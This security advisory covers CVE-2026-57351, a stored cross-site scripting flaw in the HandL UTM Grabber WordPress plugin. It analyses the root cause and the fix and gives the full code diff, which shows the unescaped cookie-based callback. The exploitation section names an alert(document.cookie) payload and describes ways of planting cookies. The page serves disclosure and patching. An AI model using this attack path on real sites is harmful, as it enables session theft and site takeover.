Published : July 20, 2026

CVE-2026-57351: HandL UTM Grabber / Tracker <= 2.9.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.9.2
Patched Version 2.9.3
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57351: The HandL UTM Grabber / Tracker plugin for WordPress (versions up to and including 2.9.2) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The vulnerability resides in the Ninja Forms merge tag callback, where cookie values are output without sanitization. An unauthenticated attacker can set arbitrary cookies on a victim’s browser, and when a page containing the Ninja Forms merge tag {handl:…} renders those cookie values, the injected script executes. This issue has a CVSS score of 7.2.

Root Cause: The vulnerability stems from inadequate sanitization of user-controlled cookie values in the Ninja Forms integration. In the file `handl-utm-grabber/external/ninja.php`, lines 20-34 (before the patch), the plugin defines merge tags for fields like `utm_source`, `utm_medium`, `utm_campaign`, `utm_term`, `utm_content`, `gclid`, `handl_original_ref`, `handl_landing_page`, `handl_ip`, `handl_ref`, and `handl_url`. Each tag’s callback function directly retrieves the cookie value using `$_COOKIE[$field]` and returns it with `urldecode($cookie_field)`, without any HTML escaping. Atomic Edge analysis identifies that the callback does not use `esc_html()` or any output escaping function, allowing raw HTML or JavaScript to pass through unmodified. The patch in Ninja Forms and other integrations now applies `esc_html()` to the cookie value before returning it.

Exploitation: An attacker can exploit this by first causing a victim’s browser to set a malicious cookie with a name matching one of the tracked fields (e.g., `utm_campaign`) and a value containing XSS payload such as `alert(document.cookie)`. The attacker can achieve cookie injection through various methods, including redirects from attacker-controlled sites, exploiting other vulnerabilities in the same domain, or using HTTP response splitting if available. Once the cookie is set, any page that renders the affected Ninja Forms merge tag will output the payload unescaped, executing the script in the context of the victim’s session. The attack is unauthenticated because the merge tag is processed regardless of user role, and the cookie can be set by any site or mechanism that influences the user’s cookie store.

Patch Analysis: The patch modifies the callback function in `handl-utm-grabber/external/ninja.php` to wrap the cookie value with `esc_html()`. Instead of using a closure that captures `$cookie_field` at definition time, the patched code reads the cookie directly inside the closure using `use ($field)` and returns `isset($_COOKIE[$field]) ? esc_html($_COOKIE[$field]) : ”`. This ensures that any cookie value output through the merge tag is HTML-escaped, preventing XSS. Additionally, the patch adds new fields (`handl_landing_page`, `handl_original_ref`, `handl_ip`, `gclid`) to the variable list in `handl-utm-grabber.php` at line 420, and includes health check refactoring and onboarding improvements. The core fix is the addition of `esc_html()` in all merge tag callbacks across integrations.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who views a page containing the vulnerable merge tag. This leads to full XSS consequences: the attacker can steal session cookies, hijack authenticated sessions, perform administrative actions on behalf of the victim (e.g., create accounts, modify settings), redirect users to malicious sites, or deface the site. The stored nature of the XSS means the payload persists for all visitors until the victim changes or removes the malicious cookie. Since the vulnerability requires no authentication, the attack surface is broad.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/handl-utm-grabber/client/build/index.asset.php
+++ b/handl-utm-grabber/client/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-dom-ready', 'wp-element'), 'version' => '2fe5a17549977c9219ca');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-dom-ready', 'wp-element'), 'version' => '0babbdf4047a125b9211');
--- a/handl-utm-grabber/external/ninja.php
+++ b/handl-utm-grabber/external/ninja.php
@@ -20,12 +20,14 @@
     $my_merge_tags = array();
     $fields = array('utm_source','utm_medium','utm_term', 'utm_content', 'utm_campaign', 'gclid', 'handl_original_ref', 'handl_landing_page', 'handl_ip', 'handl_ref', 'handl_url');
     foreach ($fields as $field){
-        $cookie_field = isset($_COOKIE[$field]) ? $_COOKIE[$field] : '';
     	$my_merge_tags[$field] = array(
           'id' => $field,
           'tag' => '{handl:'.$field.'}', // The tag to be  used.
           'label' => __( $field, 'handl_utm_grabber' ), // Translatable label for tag selection.
-          'callback' => function() use ($cookie_field) {return urldecode($cookie_field);} // Class method for processing the tag. See below.
+          // Read at tag use.
+          'callback' => function() use ($field) {
+              return isset($_COOKIE[$field]) ? esc_html($_COOKIE[$field]) : '';
+          }
         );
     }

--- a/handl-utm-grabber/handl-utm-grabber.php
+++ b/handl-utm-grabber/handl-utm-grabber.php
@@ -5,14 +5,18 @@
  * Plugin Name: HandL UTM Grabber
  * Description: The easiest way to capture UTMs on your (optin) forms.
  * Author: Haktan Suren
- * Version: 2.9.2
+ * Version: 2.9.3
  * Author URI: https://www.utmgrabber.com/
- */
+*/

 use HandlUtmrabberFreeAdminHandl_React_Pages_Manager;
 use HandlUtmrabberFreeAdminHandl_Promos_Manager;
+use HandlUtmrabberFreeIntegrationsHandl_Integrations_Manager;
+use HandlUtmrabberFreeOnboardingHandl_Onboarding_Manager;

 define( 'HANDL_UTM_V3_LINK', 'https://utmgrabber.com' );
+$handl_free_header = get_file_data( __FILE__, array( 'Version' => 'Version' ) );
+define( 'HANDL_UTM_GRABBER_FREE_VERSION', isset( $handl_free_header['Version'] ) ? $handl_free_header['Version'] : '' );
 define( 'PREMIUM_FEATURES', ['Organic Traffic (Google, Bing etc.)', 'Google Ads (ValueTrack Params e.g. keyword)' , 'Facebook Ads (fbclid)', 'Traffic Source (Paid, Organic, Referrer, Direct)','First/Last attribution', 'Microsoft Ads (msclkid)', 'Affiliate Marketing']);

 require_once "external/zapier.php";
@@ -416,7 +420,11 @@
         'utm_medium',
         'utm_campaign',
         'utm_term',
-        'utm_content'
+        'utm_content',
+        'handl_landing_page',
+        'handl_original_ref',
+        'handl_ip',
+        'gclid',
     );
 }

@@ -669,290 +677,6 @@
 add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), 'handl_utm_grabber_action_links' );


-function get_test_handl_version(){
-    return array(
-        'label' => 'Upgrade your plugin to the premium version.',
-        'status'      => 'recommended',
-        'badge'       => array(
-            'color' => 'blue',
-            'label' => 'UTM'
-        ),
-        'description' => 'To get the full benefit from your tracking experience. We highly recommend updating the plugin to the latest and premium version.',
-        'actions'     => '<a href="'.handl_v3_generate_links('handl_version','','health_check').'" target="_blank"><b>Click here</b> <span aria-hidden="true" class="dashicons dashicons-external"></span></a> to learn more',
-        'test'        => 'handl_version',
-    );
-}
-function get_test_handl_free_audit(){
-	return array(
-		'label' => 'Scan your site to make sure your campaign tracking works as expected',
-		'status'      => 'recommended',
-		'badge'       => array(
-			'color' => 'blue',
-			'label' => 'UTM'
-		),
-		'description' => 'Your site might get benefit from our marketing review',
-		'actions'     => '<a href="https://handldigital.com/free-utm-audit/?utm_campaign=UTMAudit&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"><b>Take completely FREE audit </b> <span aria-hidden="true" class="dashicons dashicons-external"></span></a> to improve your tracking and boost up your revenue.',
-		'test'        => 'handl_free_audit',
-	);
-}
-function handl_utm_site_status_filters($tests){
-
-    $tests['direct']['handl_version'] = array(
-            'test' => 'get_test_handl_version',
-    );
-	$tests['direct']['handl_free_audit'] = array(
-		'test' => 'get_test_handl_free_audit'
-	);
-	$tests['direct']['handl_caching_enabled'] = array(
-		'test' => 'get_test_handl_caching_enabled'
-	);
-	if (is_plugin_active('contact-form-7/wp-contact-form-7.php')) {
-	    $tests['direct']['handl_cf7_shortcodes_used'] = array(
-		    'test' => 'get_test_handl_cf7_shortcodes_used'
-	    );
-    }
-	if (is_plugin_active('gravityforms/gravityforms.php')) {
-		$tests['direct']['handl_gf_shortcodes_used'] = array(
-			'test' => 'get_test_handl_gf_shortcodes_used'
-		);
-	}
-	if (is_plugin_active('ninja-forms/ninja-forms.php')) {
-		$tests['direct']['handl_nf_shortcodes_used'] = array(
-			'test' => 'get_test_handl_nf_shortcodes_used'
-		);
-	}
-    return $tests;
-}
-add_filter( 'site_status_tests', 'handl_utm_site_status_filters' );
-
-function get_test_handl_caching_enabled() {
-    $cache_exist = false;
-
-	$recommendation='';
-	if ( function_exists( 'is_wpe' ) || function_exists( 'is_wpe_snapshot' ) ){
-		$cache_exist = true;
-		$recommendation .= "<li>- You are using WP Engine as your server provider: WP Engine uses server caching and it is known that it stripes query arguments and cookies.</li>";
-    }
-
-	if ( is_plugin_active('wp-rocket/wp-rocket.php') ){
-		$cache_exist = true;
-		$recommendation .= "<li>- You are using WP Rocket. WP Rocket does caching and it is known that it stripes query arguments and cookies.</li>";
-	}
-
-	if (isset($_ENV['PANTHEON_ENVIRONMENT'])) {
-		$recommendation .= "<li>- You are using Pantheon as your server provider: Pantheon uses server caching and it is known that it stripes query arguments and cookies.</li>";
-	}
-
-	$positive = "<p>We could not find and caching plugin installed. Hence you should be good collecting UTMs no problem.</p>";
-	$negative = "<p>You might be occasionally missing UTMs or COOKIE parameters due to caching. Here is the list of things we could find that may adversely impacting the data collection.</p>
-	    <ul>$recommendation</ul>
-	";
-
-	$positive_action = 'If you are having trouble collecting UTMs, or if you think you are missing some UTMs, <a href="https://wordpress.org/support/plugin/handl-utm-grabber/" target="_blank">  create a support ticket here <span aria-hidden="true" class="dashicons dashicons-external"></span></a>, we'd be happy to take a look at it for you';
-	$negative_action = $positive_action;
-
-	return array(
-		'label' => 'You might be missing some UTMs due to server caching',
-		'status'      => $cache_exist ? 'recommended' : 'good',
-		'badge'       => array(
-			'color' => $cache_exist ? 'red' : 'blue',
-			'label' => 'UTM'
-		),
-		'description' => $cache_exist ? $negative : $positive,
-		'actions'     => $cache_exist ? $negative_action : $positive_action,
-		'test'        => 'handl_caching_enabled',
-	);
-}
-
-function get_test_handl_cf7_shortcodes_used() {
-	$posts = WPCF7_ContactForm::find( array(
-		'post_status'    => 'any',
-		'posts_per_page' => - 1,
-	) );
-
-	$utm_variables = handl_utm_variables();
-	$cf7_forms = array();
-	$cf7_forms_id2_name = array();
-	$cf7_forms_feedback = array();
-	foreach ( $posts as $post ) {
-	    $formID = $post->id();
-		$cf7_forms_id2_name[$formID] = $post->title();
-		$cf7_forms[$formID] = true;
-		/** @var WPCF7_ContactForm $post */
-		$props = $post->get_properties();
-
-		foreach ($utm_variables as $variable){
-		    if ( !preg_match("/".preg_quote("[$variable",'/')."/", $props['form'] ) ){
-			    $cf7_forms[$formID] = false;
-			    $cf7_forms_feedback[$formID][] = $variable;
-			    //break;
-            }
-        }
-	}
-
-	$all_forms_good = array_filter($cf7_forms, function ($element) {
-        return ($element !== true);
-    });
-
-	$recommendation = '';
-	if (sizeof($cf7_forms_feedback) > 0){
-	    foreach ($cf7_forms_feedback as $id=>$fb){
-	        $recommendation .= "<p><b>$cf7_forms_id2_name[$id]</b>: ".implode(",",$fb)."</p>";
-        }
-    }
-
-	$positive = "<p>All of your Contact Form 7 set up properly. You are good to go!</p>";
-	$negative = "<p>Your Contact Form 7 forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>
-	    $recommendation
-	";
-
-	$positive_action = 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_cf7&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-	$negative_action = '<a href="https://docs.utmgrabber.com/books/contact-form-7-integration/page/contact-form-7-utm-tracking?utm_campaign=utm_proper_cf7&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Contact Form 7 <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-
-	return array(
-		'label' => 'Are your capturing/tracking UTMs properly in your Contact Form 7?',
-		'status'      => sizeof($all_forms_good) > 0 ? 'recommended' : 'good',
-		'badge'       => array(
-			'color' => sizeof($all_forms_good) > 0 ? 'red' : 'blue',
-			'label' => 'UTM'
-		),
-		'description' => sizeof($all_forms_good) > 0 ? $negative : $positive,
-		'actions'     => sizeof($all_forms_good) > 0 ? $negative_action : $positive_action,
-		'test'        => 'handl_cf7_shortcodes_used',
-	);
-}
-
-function get_test_handl_gf_shortcodes_used() {
-	$posts = GFAPI::get_forms();
-
-	$utm_variables = handl_utm_variables();
-	$gf_forms = array();
-	$gf_forms_id2_name = array();
-	$gf_forms_feedback = array();
-	foreach ( $posts as $post ) {
-		$formID = $post['id'];
-		$gf_forms_id2_name[$formID] = $post['title'];
-		$gf_forms[$formID] = true;
-
-		$fields = $post['fields'];
-
-		foreach ($utm_variables as $variable){
-		    $check = false;
-		    foreach ($fields as $field){
-		        if ($field['inputName'] != ''){
-			        if ( $variable == $field['inputName'] ){
-				        $check = true;
-			        }
-                }
-            }
-			if (!$check){
-				$gf_forms[$formID] = false;
-				$gf_forms_feedback[$formID][] = $variable;
-            }
-		}
-	}
-
-	$all_forms_good = array_filter($gf_forms, function ($element) {
-		return ($element !== true);
-	});
-
-	$recommendation = '';
-	if (sizeof($gf_forms_feedback) > 0){
-		foreach ($gf_forms_feedback as $id=>$fb){
-			$recommendation .= "<p><b>$gf_forms_id2_name[$id]</b>: ".implode(",",$fb)."</p>";
-		}
-	}
-
-	$positive = "<p>All of your Gravity forms set up properly. You are good to go!</p>";
-	$negative = "<p>Your Gravity forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>
-	    $recommendation
-	";
-
-	$positive_action = 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_gf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-	$negative_action = '<a href="https://docs.utmgrabber.com/books/gravity-forms-integration/page/gravity-forms-integration?utm_campaign=utm_proper_gf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Gravity Forms <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-
-	return array(
-		'label' => 'Are your capturing/tracking UTMs properly in your Gravity Form?',
-		'status'      => sizeof($all_forms_good) > 0 ? 'recommended' : 'good',
-		'badge'       => array(
-			'color' => sizeof($all_forms_good) > 0 ? 'red' : 'blue',
-			'label' => 'UTM'
-		),
-		'description' => sizeof($all_forms_good) > 0 ? $negative : $positive,
-		'actions'     => sizeof($all_forms_good) > 0 ? $negative_action : $positive_action,
-		'test'        => 'handl_gf_shortcodes_used',
-	);
-}
-
-function get_test_handl_nf_shortcodes_used() {
-    $posts = Ninja_Forms()->form()->get_forms();
-    /** @var NF_Database_Models_Form $post */
-    $utm_variables = handl_utm_variables();
-    $nf_forms = array();
-    $nf_forms_id2_name = array();
-    $nf_forms_feedback = array();
-    foreach ( $posts as $post ) {
-        $form = $post->get_settings();
-        $formID = $post->get_id();
-        $nf_forms_id2_name[$formID] = $form['title'];
-        $nf_forms[$formID] = true;
-
-        $fields = $form['formContentData'];
-
-        foreach ($utm_variables as $variable){
-            $check = false;
-            foreach ($fields as $field){
-                // Add type check to ensure $field is a string
-                if (is_string($field) && $field != ''){
-                    if ( preg_match("/".preg_quote($variable,'/')."/", $field) ){
-                        $check = true;
-                    }
-                } elseif (is_array($field) && isset($field['value']) && is_string($field['value'])) {
-                    // If field is an array, check the 'value' property if it exists
-                    if ( preg_match("/".preg_quote($variable,'/')."/", $field['value']) ){
-                        $check = true;
-                    }
-                }
-            }
-            if (!$check){
-                $nf_forms[$formID] = false;
-                $nf_forms_feedback[$formID][] = $variable;
-            }
-        }
-    }
-
-    $all_forms_good = array_filter($nf_forms, function ($element) {
-        return ($element !== true);
-    });
-
-    $recommendation = '';
-    if (sizeof($nf_forms_feedback) > 0){
-        foreach ($nf_forms_feedback as $id=>$fb){
-            $recommendation .= "<p><b>$nf_forms_id2_name[$id]</b>: ".implode(",",$fb)."</p>";
-        }
-    }
-
-    $positive = "<p>All of your Ninja Forms set up properly. You are good to go!</p>";
-    $negative = "<p>Your Ninja forms are not capturing all the UTMs recommended. See the list of forms below having problems and resolve to make sure you do not miss any data</p>
-        $recommendation
-    ";
-
-    $positive_action = 'You want to up your game? <a href="https://docs.utmgrabber.com/books/101-getting-started-for-handl-utm-grabber-v3/page/native-wp-shortcodes?utm_campaign=utm_proper_nf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to get the list of things you can track more <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-    $negative_action = '<a href="https://docs.utmgrabber.com/books/ninja-forms-integration/page/ninja-forms-integration?utm_campaign=utm_proper_nf&utm_source=WordPress_FREE&utm_medium=health_check" target="_blank"> Click here to learn the best practice of collecting UTM parameters in Ninja Forms <span aria-hidden="true" class="dashicons dashicons-external"></span></a>';
-
-    return array(
-        'label' => 'Are your capturing/tracking UTMs properly in your Ninja Form?',
-        'status'      => sizeof($all_forms_good) > 0 ? 'recommended' : 'good',
-        'badge'       => array(
-            'color' => sizeof($all_forms_good) > 0 ? 'red' : 'blue',
-            'label' => 'UTM'
-        ),
-        'description' => sizeof($all_forms_good) > 0 ? $negative : $positive,
-        'actions'     => sizeof($all_forms_good) > 0 ? $negative_action : $positive_action,
-        'test'        => 'handl_nf_shortcodes_used',
-    );
-}
-
 function handl_v3_generate_links($utm_campaign = '', $utm_source = 'WordPress_FREE', $utm_medium = ''){
     $utm_source = $utm_source != '' ? $utm_source : 'WordPress_FREE';
     return add_query_arg(array(
@@ -1051,10 +775,48 @@
 }
 require_once "includes/admin/handl-options.php";

+require_once "includes/onboarding/class-onboarding-manager.php";
+
+$handl_integrations_manager = null;
 if ( is_admin() ) {
     require_once "includes/integrations/class-integrations-manager.php";
-    new HandlUtmrabberFreeIntegrationsHandl_Integrations_Manager();
+    $handl_integrations_manager = new Handl_Integrations_Manager();
+
+    require_once "includes/onboarding/class-setup-notice.php";
+    ( new HandlUtmrabberFreeOnboardingHandl_Setup_Notice( $handl_integrations_manager ) )->register();
+}
+
+require_once "includes/health/class-site-health-manager.php";
+( new HandlUtmrabberFreeHealthHandl_Site_Health_Manager() )->register();
+
+$handl_onboarding_manager = new Handl_Onboarding_Manager( $handl_integrations_manager );
+$handl_onboarding_manager->register_test_listeners();
+
+if ( is_admin() ) {
+    $handl_onboarding_manager->register_admin_hooks();
+}
+
+function handl_utm_grabber_activate() {
+    if ( ! get_option( 'handl_onboarding_completed', false ) ) {
+        update_option( 'handl_onboarding_redirect', true );
+    }
+}
+register_activation_hook( __FILE__, 'handl_utm_grabber_activate' );
+
+function handl_utm_grabber_maybe_redirect() {
+    if ( ! get_option( 'handl_onboarding_redirect', false ) ) {
+        return;
+    }
+    delete_option( 'handl_onboarding_redirect' );
+
+    if ( isset( $_GET['activate-multi'] ) || wp_doing_ajax() || ! current_user_can( 'manage_options' ) ) {
+        return;
+    }
+
+    wp_safe_redirect( admin_url( 'admin.php?page=handl-onboarding' ) );
+    exit;
 }
+add_action( 'admin_init', 'handl_utm_grabber_maybe_redirect' );



--- a/handl-utm-grabber/includes/admin/promos.php
+++ b/handl-utm-grabber/includes/admin/promos.php
@@ -5,13 +5,13 @@

 class Handl_Promos_Manager
 {
-    private const PROMOS_ENDPOINT = 'https://api.utmgrabber.com/http/plugin-promos';
-    private const TRANSIENT_KEY = 'handl_plugin_promos';
-    private const INSTALL_DATE_OPTION = 'handl_utm_grabber_install_date';
-    private const DISMISSALS_USER_META_KEY = 'handl_promo_dismissals';
-    private const CACHE_DURATION = 6 * HOUR_IN_SECONDS;
+    const PROMOS_ENDPOINT = 'https://api.utmgrabber.com/http/plugin-promos';
+    const TRANSIENT_KEY = 'handl_plugin_promos';
+    const INSTALL_DATE_OPTION = 'handl_utm_grabber_install_date';
+    const DISMISSALS_USER_META_KEY = 'handl_promo_dismissals';
+    const CACHE_DURATION = 6 * HOUR_IN_SECONDS;

-    private const VALID_LOCATIONS = [
+    const VALID_LOCATIONS = [
         'plugin_banner',
         'admin_notice',
         'dashboard_widget',
@@ -34,14 +34,14 @@
         add_filter( 'handl_promo_menu_badge', [ $this, 'get_sidebar_badge_html' ] );
     }

-    public function maybe_set_install_date(): void
+    public function maybe_set_install_date()
     {
         if ( ! get_option( self::INSTALL_DATE_OPTION ) ) {
             update_option( self::INSTALL_DATE_OPTION, current_time( 'mysql' ) );
         }
     }

-    public function get_install_date(): string
+    public function get_install_date()
     {
         $install_date = get_option( self::INSTALL_DATE_OPTION );
         if ( ! $install_date ) {
@@ -51,7 +51,7 @@
         return $install_date;
     }

-    public function get_days_since_install(): int
+    public function get_days_since_install()
     {
         $install_date = $this->get_install_date();
         $install_timestamp = strtotime( $install_date );
@@ -63,7 +63,7 @@
     // Dismissal Management
     // =========================================================================

-    public function get_user_dismissals(): array
+    public function get_user_dismissals()
     {
         $user_id = get_current_user_id();
         if ( ! $user_id ) {
@@ -73,7 +73,7 @@
         return is_array( $dismissals ) ? $dismissals : [];
     }

-    public function dismiss_promo( string $campaign_key ): bool
+    public function dismiss_promo( $campaign_key )
     {
         $user_id = get_current_user_id();
         if ( ! $user_id ) {
@@ -84,7 +84,7 @@
         return update_user_meta( $user_id, self::DISMISSALS_USER_META_KEY, $dismissals );
     }

-    public function is_promo_dismissed( string $campaign_key, ?array $promo = null ): bool
+    public function is_promo_dismissed( $campaign_key, $promo = null )
     {
         $dismissals = $this->get_user_dismissals();
         if ( ! isset( $dismissals[ $campaign_key ] ) ) {
@@ -104,7 +104,7 @@
         return true;
     }

-    public function clear_user_dismissals(): bool
+    public function clear_user_dismissals()
     {
         $user_id = get_current_user_id();
         if ( ! $user_id ) {
@@ -117,7 +117,7 @@
     // AJAX Endpoints
     // =========================================================================

-    public function ajax_get_promos(): void
+    public function ajax_get_promos()
     {
         if ( ! current_user_can( 'manage_options' ) ) {
             wp_send_json_error( [ 'message' => 'Unauthorized' ], 403 );
@@ -132,7 +132,7 @@
         ] );
     }

-    public function ajax_dismiss_promo(): void
+    public function ajax_dismiss_promo()
     {
         if ( ! current_user_can( 'manage_options' ) ) {
             wp_send_json_error( [ 'message' => 'Unauthorized' ], 403 );
@@ -157,7 +157,7 @@
     // Promo Fetching & Filtering
     // =========================================================================

-    private function get_promos(): array
+    private function get_promos()
     {
         $cached = get_transient( self::TRANSIENT_KEY );
         if ( $cached !== false ) {
@@ -169,7 +169,7 @@
         return $promos;
     }

-    private function fetch_remote_promos(): array
+    private function fetch_remote_promos()
     {
         $response = wp_remote_get( self::PROMOS_ENDPOINT, [
             'timeout' => 10,
@@ -191,7 +191,7 @@
         return is_array( $data ) ? $data : [];
     }

-    private function filter_promos( array $promos, int $install_days, ?string $location = null ): array
+    private function filter_promos( array $promos, $install_days, $location = null )
     {
         $now = current_time( 'timestamp' );

@@ -229,7 +229,7 @@
             }

             if ( $location !== null ) {
-                $locations = $promo['display_locations'] ?? [];
+                $locations = isset( $promo['display_locations'] ) ? $promo['display_locations'] : [];
                 if ( ! in_array( $location, $locations, true ) ) {
                     return false;
                 }
@@ -241,7 +241,7 @@
         return array_values( $filtered );
     }

-    public function get_active_promo_for_location( string $location ): ?array
+    public function get_active_promo_for_location( $location )
     {
         if ( ! in_array( $location, self::VALID_LOCATIONS, true ) ) {
             return null;
@@ -256,15 +256,15 @@
         }

         usort( $filtered, function( $a, $b ) {
-            $date_a = strtotime( $a['date_end'] ?? '9999-12-31' );
-            $date_b = strtotime( $b['date_end'] ?? '9999-12-31' );
+            $date_a = strtotime( isset( $a['date_end'] ) ? $a['date_end'] : '9999-12-31' );
+            $date_b = strtotime( isset( $b['date_end'] ) ? $b['date_end'] : '9999-12-31' );
             return $date_a - $date_b;
         } );

         return $filtered[0];
     }

-    public function has_active_promo_for_location( string $location ): bool
+    public function has_active_promo_for_location( $location )
     {
         return $this->get_active_promo_for_location( $location ) !== null;
     }
@@ -273,7 +273,7 @@
     // URL Generation
     // =========================================================================

-    public function get_promo_settings_url( string $campaign_key ): string
+    public function get_promo_settings_url( $campaign_key )
     {
         return admin_url( 'admin.php?page=handl-utm-grabber.php#/handl-options?promo=' . urlencode( $campaign_key ) );
     }
@@ -282,7 +282,7 @@
     // Admin Notice
     // =========================================================================

-    public function render_admin_notice(): void
+    public function render_admin_notice()
     {
         if ( ! current_user_can( 'manage_options' ) ) {
             return;
@@ -309,7 +309,7 @@
     // Dashboard Widget
     // =========================================================================

-    public function register_dashboard_widget(): void
+    public function register_dashboard_widget()
     {
         if ( ! current_user_can( 'manage_options' ) ) {
             return;
@@ -327,7 +327,7 @@
         );
     }

-    public function render_dashboard_widget_content(): void
+    public function render_dashboard_widget_content()
     {
         $promo = $this->get_active_promo_for_location( 'dashboard_widget' );
         if ( ! $promo ) {
@@ -350,7 +350,7 @@
     // Admin Bar
     // =========================================================================

-    public function render_admin_bar_item( WP_Admin_Bar $admin_bar ): void
+    public function render_admin_bar_item( WP_Admin_Bar $admin_bar )
     {
         if ( ! current_user_can( 'manage_options' ) ) {
             return;
@@ -384,7 +384,7 @@
     // Sidebar Badge
     // =========================================================================

-    public function get_sidebar_badge_html(): string
+    public function get_sidebar_badge_html()
     {
         $promo = $this->get_active_promo_for_location( 'sidebar_badge' );
         if ( ! $promo ) {
@@ -398,7 +398,7 @@
     // Admin Styles & Scripts
     // =========================================================================

-    public function render_admin_styles(): void
+    public function render_admin_styles()
     {
         ?>
         <style>
@@ -454,7 +454,7 @@
         <?php
     }

-    public function render_dismiss_script(): void
+    public function render_dismiss_script()
     {
         ?>
         <script>
@@ -507,7 +507,7 @@
         <?php
     }

-    public static function clear_cache(): bool
+    public static function clear_cache()
     {
         return delete_transient( self::TRANSIENT_KEY );
     }
--- a/handl-utm-grabber/includes/admin/react-admin.php
+++ b/handl-utm-grabber/includes/admin/react-admin.php
@@ -16,6 +16,7 @@

         // Register admin page
         add_action('admin_menu', [$this, 'add_react_menu_pages'],1);
+        add_action('admin_menu', [$this, 'reorder_setup_submenu'], 999);

         add_action('admin_enqueue_scripts', [$this, 'enqueue_admin_scripts']);
     }
@@ -54,6 +55,35 @@
             [ $this, 'render_analytics_page' ]
         );

+        add_submenu_page(
+            'handl-utm-grabber.php',
+            'UTM Grabber Setup',
+            'Setup',
+            'manage_options',
+            'handl-onboarding',
+            [ $this, 'render_onboarding_page' ]
+        );
+    }
+
+    /**
+     * Move the "Setup" submenu to the top, above the default UTM item.
+     */
+    public function reorder_setup_submenu()
+    {
+        global $submenu;
+        $parent = 'handl-utm-grabber.php';
+        if ( empty( $submenu[ $parent ] ) ) {
+            return;
+        }
+        foreach ( $submenu[ $parent ] as $i => $item ) {
+            if ( isset( $item[2] ) && $item[2] === 'handl-onboarding' ) {
+                $setup = $item;
+                unset( $submenu[ $parent ][ $i ] );
+                array_unshift( $submenu[ $parent ], $setup );
+                $submenu[ $parent ] = array_values( $submenu[ $parent ] );
+                break;
+            }
+        }
     }

     /**
@@ -66,6 +96,9 @@
     public function render_analytics_page() {
         $this->render_react_container( 'handl_analytics' );
     }
+    public function render_onboarding_page() {
+        $this->render_react_container( 'handl_onboarding' );
+    }
     private function render_react_container($container_id)
     {
         printf(
@@ -85,6 +118,8 @@
         $allowed_hooks = [
             'toplevel_page_handl-utm-grabber',
             'utm_page_handl_analytics',
+            'utm_page_handl-onboarding',
+            'admin_page_handl-onboarding',
         ];
         if (! in_array($hook_suffix, $allowed_hooks, true)) {
             return;
@@ -98,6 +133,13 @@

         $script_asset = require $script_asset_path;

+        wp_enqueue_style(
+            'handl-react-fonts',
+            'https://fonts.googleapis.com/css2?family=Fraunces:opsz,wght@9..144,500;9..144,600;9..144,700;9..144,800&family=Outfit:wght@300;400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap',
+            [],
+            null
+        );
+
         wp_enqueue_script(
             'handl-react-main-script',
             $this->plugin_url . '../../client/build/index.js',
@@ -129,9 +171,14 @@
             ),
             $script_asset['version']
         );
+        $current_user = wp_get_current_user();
         $wp_api_props = apply_filters( 'handl_react_admin_localize', [
-            'ajax_url' => admin_url('admin-ajax.php'),
-            'nonce'    => array(),
+            'ajax_url'     => admin_url('admin-ajax.php'),
+            'nonce'        => array(),
+            'current_user' => array(
+                'email'      => $current_user ? $current_user->user_email : '',
+                'first_name' => $current_user ? ( get_user_meta( $current_user->ID, 'first_name', true ) ?: '' ) : '',
+            ),
         ] );
         wp_localize_script('handl-react-main-script', 'wpAPIProps', $wp_api_props);
         // wp_localize_script('handl-react-main-script', 'appProps', [
--- a/handl-utm-grabber/includes/health/class-site-health-manager.php
+++ b/handl-utm-grabber/includes/health/class-site-health-manager.php
@@ -0,0 +1,263 @@
+<?php
+namespace HandlUtmrabberFreeHealth;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+require_once dirname( __DIR__ ) . '/integrations/class-integration.php';
+require_once dirname( __DIR__ ) . '/integrations/gravity-forms/class-gravity-forms-integration.php';
+require_once dirname( __DIR__ ) . '/integrations/contact-form-7/class-contact-form-7-integration.php';
+require_once dirname( __DIR__ ) . '/integrations/ninja-forms/class-ninja-forms-integration.php';
+require_once dirname( __DIR__ ) . '/integrations/elementor/class-elementor-integration.php';
+
+use HandlUtmrabberFreeIntegrationsGravity_Forms_Integration;
+use HandlUtmrabberFreeIntegrationsContact_Form_7_Integration;
+use HandlUtmrabberFreeIntegrationsNinja_Forms_Integration;
+use HandlUtmrabberFreeIntegrationsElementor_Integration;
+
+// Registers Site Health tests; owns form integration instances for safe `direct` tests during cron, without relying on the admin-only integrations manager.
+class Handl_Site_Health_Manager {
+
+	/** @var array<string, HandlUtmrabberFreeIntegrationsHandl_Integration>|null */
+	private $integrations = null;
+
+	public function register() {
+		add_filter( 'site_status_tests', array( $this, 'add_tests' ) );
+	}
+
